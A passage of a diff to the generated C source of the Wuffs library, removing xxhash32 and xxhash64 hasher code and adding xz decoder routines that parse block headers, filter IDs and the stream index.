(self->private_impl.f_v3 >> 14u)); +- v_ret += self->private_impl.f_length_modulo_u32; +- } else { +- v_ret += 374761393u; +- v_ret += self->private_impl.f_length_modulo_u32; +- } +- v_n = 16u; +- v_n = wuffs_base__u32__min(v_n, ((uint32_t)(self->private_impl.f_buf_len))); +- if (4u <= v_n) { +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[0u])) | +- (((uint32_t)(self->private_impl.f_buf_data[1u])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[2u])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[3u])) << 24u)); +- v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); +- v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); +- v_ret *= 668265263u; +- v_i = 4u; +- } +- if (8u <= v_n) { +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[4u])) | +- (((uint32_t)(self->private_impl.f_buf_data[5u])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[6u])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[7u])) << 24u)); +- v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); +- v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); +- v_ret *= 668265263u; +- v_i = 8u; +- } +- if (12u <= v_n) { +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[8u])) | +- (((uint32_t)(self->private_impl.f_buf_data[9u])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[10u])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[11u])) << 24u)); +- v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); +- v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); +- v_ret *= 668265263u; +- v_i = 12u; ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); + } +- while (v_i < v_n) { +- v_ret += ((uint32_t)(((uint32_t)(self->private_impl.f_buf_data[v_i])) * 374761393u)); +- v_ret = (((uint32_t)(v_ret << 11u)) | (v_ret >> 21u)); +- v_ret *= 2654435761u; +- v_i += 1u; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- v_ret ^= (v_ret >> 15u); +- v_ret *= 2246822519u; +- v_ret ^= (v_ret >> 13u); +- v_ret *= 3266489917u; +- v_ret ^= (v_ret >> 16u); +- return v_ret; +-} +- +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) +- +-// ---------------- Status Codes Implementations + +-// ---------------- Private Consts ++ return status; ++} + +-#define WUFFS_XXHASH64__XXH_PRIME64_1 11400714785074694791 ++// -------- func xz.decoder.decode_block_header_with_padding + +-#define WUFFS_XXHASH64__XXH_PRIME64_2 14029467366897019727 ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_xz__decoder__decode_block_header_with_padding( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-#define WUFFS_XXHASH64__XXH_PRIME64_3 1609587929392839161 ++ uint8_t v_c8 = 0; ++ uint64_t v_padded_size_have = 0; ++ uint64_t v_padded_size_want = 0; ++ uint64_t v_smark = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +-#define WUFFS_XXHASH64__XXH_PRIME64_4 9650029242287828579 ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +-#define WUFFS_XXHASH64__XXH_PRIME64_5 2870177450012600261 ++ uint32_t coro_susp_point = self->private_impl.p_decode_block_header_with_padding; ++ if (coro_susp_point) { ++ v_padded_size_have = self->private_data.s_decode_block_header_with_padding.v_padded_size_have; ++ v_padded_size_want = self->private_data.s_decode_block_header_with_padding.v_padded_size_want; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-#define WUFFS_XXHASH64__INITIAL_V0 6983438078262162902 ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ v_padded_size_want = ((uint64_t)((((uint64_t)(v_c8)) * 4u) - 1u)); ++ while (true) { ++ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_1 = wuffs_xz__decoder__decode_block_header_sans_padding(self, a_src); ++ v_status = t_1; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u64__sat_add_indirect(&v_padded_size_have, wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)))); ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ } ++ if (v_padded_size_have > v_padded_size_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ while (v_padded_size_have < v_padded_size_want) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ v_padded_size_have += 1u; ++ } + +-#define WUFFS_XXHASH64__INITIAL_V1 14029467366897019727 ++ ok: ++ self->private_impl.p_decode_block_header_with_padding = 0; ++ goto exit; ++ } + +-#define WUFFS_XXHASH64__INITIAL_V2 0 ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_block_header_with_padding = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_block_header_with_padding.v_padded_size_have = v_padded_size_have; ++ self->private_data.s_decode_block_header_with_padding.v_padded_size_want = v_padded_size_want; + +-#define WUFFS_XXHASH64__INITIAL_V3 7046029288634856825 ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } + +-// ---------------- Private Initializer Prototypes ++ return status; ++} + +-// ---------------- Private Function Prototypes ++// -------- func xz.decoder.decode_block_header_sans_padding + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_xxhash64__hasher__up( +- wuffs_xxhash64__hasher* self, +- wuffs_base__slice_u8 a_x); +- +-// ---------------- VTables +- +-const wuffs_base__hasher_u64__func_ptrs +-wuffs_xxhash64__hasher__func_ptrs_for__wuffs_base__hasher_u64 = { +- (uint64_t(*)(const void*))(&wuffs_xxhash64__hasher__checksum_u64), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_xxhash64__hasher__get_quirk), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_xxhash64__hasher__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- wuffs_base__slice_u8))(&wuffs_xxhash64__hasher__update), +- (uint64_t(*)(void*, +- wuffs_base__slice_u8))(&wuffs_xxhash64__hasher__update_u64), +-}; ++static wuffs_base__status ++wuffs_xz__decoder__decode_block_header_sans_padding( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-// ---------------- Initializer Implementations ++ uint8_t v_c8 = 0; ++ uint32_t v_c32 = 0; ++ uint32_t v_alignment = 0; ++ uint8_t v_flags = 0; ++ uint8_t v_filter_id = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_shift = 0; ++ uint32_t v_f = 0; ++ uint32_t v_k = 0; + +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_xxhash64__hasher__initialize( +- wuffs_xxhash64__hasher* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_block_header_sans_padding; ++ if (coro_susp_point) { ++ v_flags = self->private_data.s_decode_block_header_sans_padding.v_flags; ++ v_filter_id = self->private_data.s_decode_block_header_sans_padding.v_filter_id; ++ v_shift = self->private_data.s_decode_block_header_sans_padding.v_shift; ++ v_f = self->private_data.s_decode_block_header_sans_padding.v_f; + } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_flags = t_0; + } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ self->private_impl.f_num_non_final_filters = ((uint32_t)(((uint8_t)(v_flags & 3u)))); ++ if (((uint8_t)(v_flags & 60u)) != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ self->private_impl.f_block_has_compressed_size = (((uint8_t)(v_flags & 64u)) != 0u); ++ if (self->private_impl.f_block_has_compressed_size) { ++ self->private_impl.f_block_compressed_size = 0u; ++ v_shift = 0u; ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (v_shift <= 56u) { ++ self->private_impl.f_block_compressed_size |= (((uint64_t)(((uint8_t)(v_c8 & 127u)))) << v_shift); ++ if (v_c8 >= 128u) { ++ v_shift += 7u; ++ continue; ++ } else if ((v_c8 == 0u) && (v_shift > 0u)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ break; ++ } else if (v_c8 != 1u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ self->private_impl.f_block_compressed_size |= (((uint64_t)(1u)) << 63u); ++ break; ++ } ++ } ++ self->private_impl.f_block_has_uncompressed_size = (((uint8_t)(v_flags & 128u)) != 0u); ++ if (self->private_impl.f_block_has_uncompressed_size) { ++ self->private_impl.f_block_uncompressed_size = 0u; ++ v_shift = 0u; ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if (v_shift <= 56u) { ++ self->private_impl.f_block_uncompressed_size |= (((uint64_t)(((uint8_t)(v_c8 & 127u)))) << v_shift); ++ if (v_c8 >= 128u) { ++ v_shift += 7u; ++ continue; ++ } else if ((v_c8 == 0u) && (v_shift > 0u)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ break; ++ } else if (v_c8 != 1u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ self->private_impl.f_block_uncompressed_size |= (((uint64_t)(1u)) << 63u); ++ break; ++ } ++ } ++ self->private_impl.f_bcj_x86_prev_mask = 0u; ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_non_final_filters__choosy_default); ++ v_f = 0u; ++ while (v_f < self->private_impl.f_num_non_final_filters) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_filter_id = t_3; ++ } ++ if (v_filter_id == 33u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_filter); ++ goto exit; ++ } else if (v_filter_id == 3u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ if (v_c8 != 1u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_filter); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; ++ } ++ self->private_impl.f_filters[v_f] = ((((uint32_t)(v_c8)) << 8u) | 3u); ++ v_k = 0u; ++ while (v_k < 256u) { ++ self->private_data.f_filter_data[v_f][v_k] = 0u; ++ v_k += 1u; ++ } ++ } else if ((v_filter_id < 3u) || (11u < v_filter_id)) { ++ status = wuffs_base__make_status(wuffs_xz__error__unsupported_filter); ++ goto exit; ++ } else if (v_f != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__unsupported_filter_combination); ++ goto exit; ++ } else { ++ self->private_impl.f_filters[v_f] = ((uint32_t)(v_filter_id)); ++ if (v_filter_id == 4u) { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_04_x86); ++ } else if (v_filter_id == 5u) { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_05_powerpc); ++ } else if (v_filter_id == 6u) { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_06_ia64); ++ } else if (v_filter_id == 7u) { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_07_arm); ++ } else if (v_filter_id == 8u) { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_08_armthumb); ++ } else if (v_filter_id == 9u) { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_09_sparc); ++ } else if (v_filter_id == 10u) { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_0a_arm64); ++ } else { ++ self->private_impl.choosy_apply_non_final_filters = ( ++ &wuffs_xz__decoder__apply_filter_0b_riscv); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; ++ } ++ if (v_c8 == 0u) { ++ self->private_impl.f_bcj_pos = 0u; ++ } else if (v_c8 == 4u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ uint32_t t_7; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_7 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_block_header_sans_padding.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_block_header_sans_padding.scratch; ++ uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; ++ if (num_bits_7 == 24) { ++ t_7 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_7 += 8u; ++ *scratch |= ((uint64_t)(num_bits_7)) << 56; ++ } ++ } ++ v_c32 = t_7; ++ } ++ v_alignment = ((uint32_t)(WUFFS_XZ__BCJ_OFFSET_ALIGNMENT[v_filter_id])); ++ if (v_alignment > 0u) { ++ if ((v_c32 % v_alignment) != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_bcj_offset); ++ goto exit; ++ } ++ } ++ self->private_impl.f_bcj_pos = v_c32; ++ } else { ++ status = wuffs_base__make_status(wuffs_xz__error__unsupported_filter); ++ goto exit; ++ } ++ } ++ v_f += 1u; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_8 = *iop_a_src++; ++ v_filter_id = t_8; ++ } ++ if (v_filter_id == 33u) { ++ if (self->private_impl.f_lzma_needs_reset) { ++ wuffs_private_impl__ignore_status(wuffs_lzma__decoder__initialize(&self->private_data.f_lzma, ++ sizeof (wuffs_lzma__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_9 = *iop_a_src++; ++ v_c8 = t_9; ++ } ++ if (v_c8 != 1u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_filter); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_10 = *iop_a_src++; ++ v_c8 = t_10; ++ } ++ v_status = wuffs_lzma__decoder__set_quirk(&self->private_data.f_lzma, 1348001793u, (2u | (((uint64_t)(v_c8)) << 8u))); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_filter); ++ goto exit; ++ } ++ } else if ((v_filter_id < 3u) || (11u < v_filter_id)) { ++ status = wuffs_base__make_status(wuffs_xz__error__unsupported_filter); ++ goto exit; + } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ status = wuffs_base__make_status(wuffs_xz__error__bad_filter); ++ goto exit; + } +- } + +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__hasher_u64.vtable_name = +- wuffs_base__hasher_u64__vtable_name; +- self->private_impl.vtable_for__wuffs_base__hasher_u64.function_pointers = +- (const void*)(&wuffs_xxhash64__hasher__func_ptrs_for__wuffs_base__hasher_u64); +- return wuffs_base__make_status(NULL); +-} +- +-wuffs_xxhash64__hasher* +-wuffs_xxhash64__hasher__alloc(void) { +- wuffs_xxhash64__hasher* x = +- (wuffs_xxhash64__hasher*)(calloc(sizeof(wuffs_xxhash64__hasher), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_xxhash64__hasher__initialize( +- x, sizeof(wuffs_xxhash64__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; ++ goto ok; ++ ok: ++ self->private_impl.p_decode_block_header_sans_padding = 0; ++ goto exit; + } +- return x; +-} +- +-size_t +-sizeof__wuffs_xxhash64__hasher(void) { +- return sizeof(wuffs_xxhash64__hasher); +-} + +-// ---------------- Function Implementations +- +-// -------- func xxhash64.hasher.get_quirk ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_block_header_sans_padding = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_block_header_sans_padding.v_flags = v_flags; ++ self->private_data.s_decode_block_header_sans_padding.v_filter_id = v_filter_id; ++ self->private_data.s_decode_block_header_sans_padding.v_shift = v_shift; ++ self->private_data.s_decode_block_header_sans_padding.v_f = v_f; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash64__hasher__get_quirk( +- const wuffs_xxhash64__hasher* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- return 0u; ++ return status; + } + +-// -------- func xxhash64.hasher.set_quirk ++// -------- func xz.decoder.verify_index + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_xxhash64__hasher__set_quirk( +- wuffs_xxhash64__hasher* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); +-} ++static wuffs_base__status ++wuffs_xz__decoder__verify_index( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-// -------- func xxhash64.hasher.update ++ uint8_t v_c8 = 0; ++ uint32_t v_shift = 0; ++ uint32_t v_hash = 0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_xxhash64__hasher__update( +- wuffs_xxhash64__hasher* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return wuffs_base__make_empty_struct(); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } + +- if ((self->private_impl.f_length_modulo_u64 == 0u) && ! self->private_impl.f_length_overflows_u64) { +- self->private_impl.f_v0 = 6983438078262162902u; +- self->private_impl.f_v1 = 14029467366897019727u; +- self->private_impl.f_v2 = 0u; +- self->private_impl.f_v3 = 7046029288634856825u; ++ uint32_t coro_susp_point = self->private_impl.p_verify_index; ++ if (coro_susp_point) { ++ v_shift = self->private_data.s_verify_index.v_shift; + } +- wuffs_xxhash64__hasher__up(self, a_x); +- return wuffs_base__make_empty_struct(); +-} ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-// -------- func xxhash64.hasher.update_u64 ++ if ( ! self->private_impl.f_started_verify_index) { ++ self->private_impl.f_started_verify_index = true; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ self->private_impl.f_num_index_blocks = 0u; ++ v_shift = 0u; ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (v_shift <= 56u) { ++ self->private_impl.f_num_index_blocks |= (((uint64_t)(((uint8_t)(v_c8 & 127u)))) << v_shift); ++ if (v_c8 >= 128u) { ++ v_shift += 7u; ++ continue; ++ } else if ((v_c8 == 0u) && (v_shift > 0u)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ break; ++ } else if (v_c8 != 1u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ self->private_impl.f_num_index_blocks |= (((uint64_t)(1u)) << 63u); ++ break; ++ } ++ if (self->private_impl.f_num_index_blocks != self->private_impl.f_num_actual_blocks) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ } ++ while (self->private_impl.f_num_index_blocks > 0u) { ++ self->private_impl.f_num_index_blocks -= 1u; ++ self->private_impl.f_index_block_compressed_size = 0u; ++ v_shift = 0u; ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if (v_shift <= 56u) { ++ self->private_impl.f_index_block_compressed_size |= (((uint64_t)(((uint8_t)(v_c8 & 127u)))) << v_shift); ++ if (v_c8 >= 128u) { ++ v_shift += 7u; ++ continue; ++ } else if ((v_c8 == 0u) && (v_shift > 0u)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ break; ++ } else if (v_c8 != 1u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ self->private_impl.f_index_block_compressed_size |= (((uint64_t)(1u)) << 63u); ++ break; ++ } ++ self->private_impl.f_index_block_uncompressed_size = 0u; ++ v_shift = 0u; ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ if (v_shift <= 56u) { ++ self->private_impl.f_index_block_uncompressed_size |= (((uint64_t)(((uint8_t)(v_c8 & 127u)))) << v_shift); ++ if (v_c8 >= 128u) { ++ v_shift += 7u; ++ continue; ++ } else if ((v_c8 == 0u) && (v_shift > 0u)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ break; ++ } else if (v_c8 != 1u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); 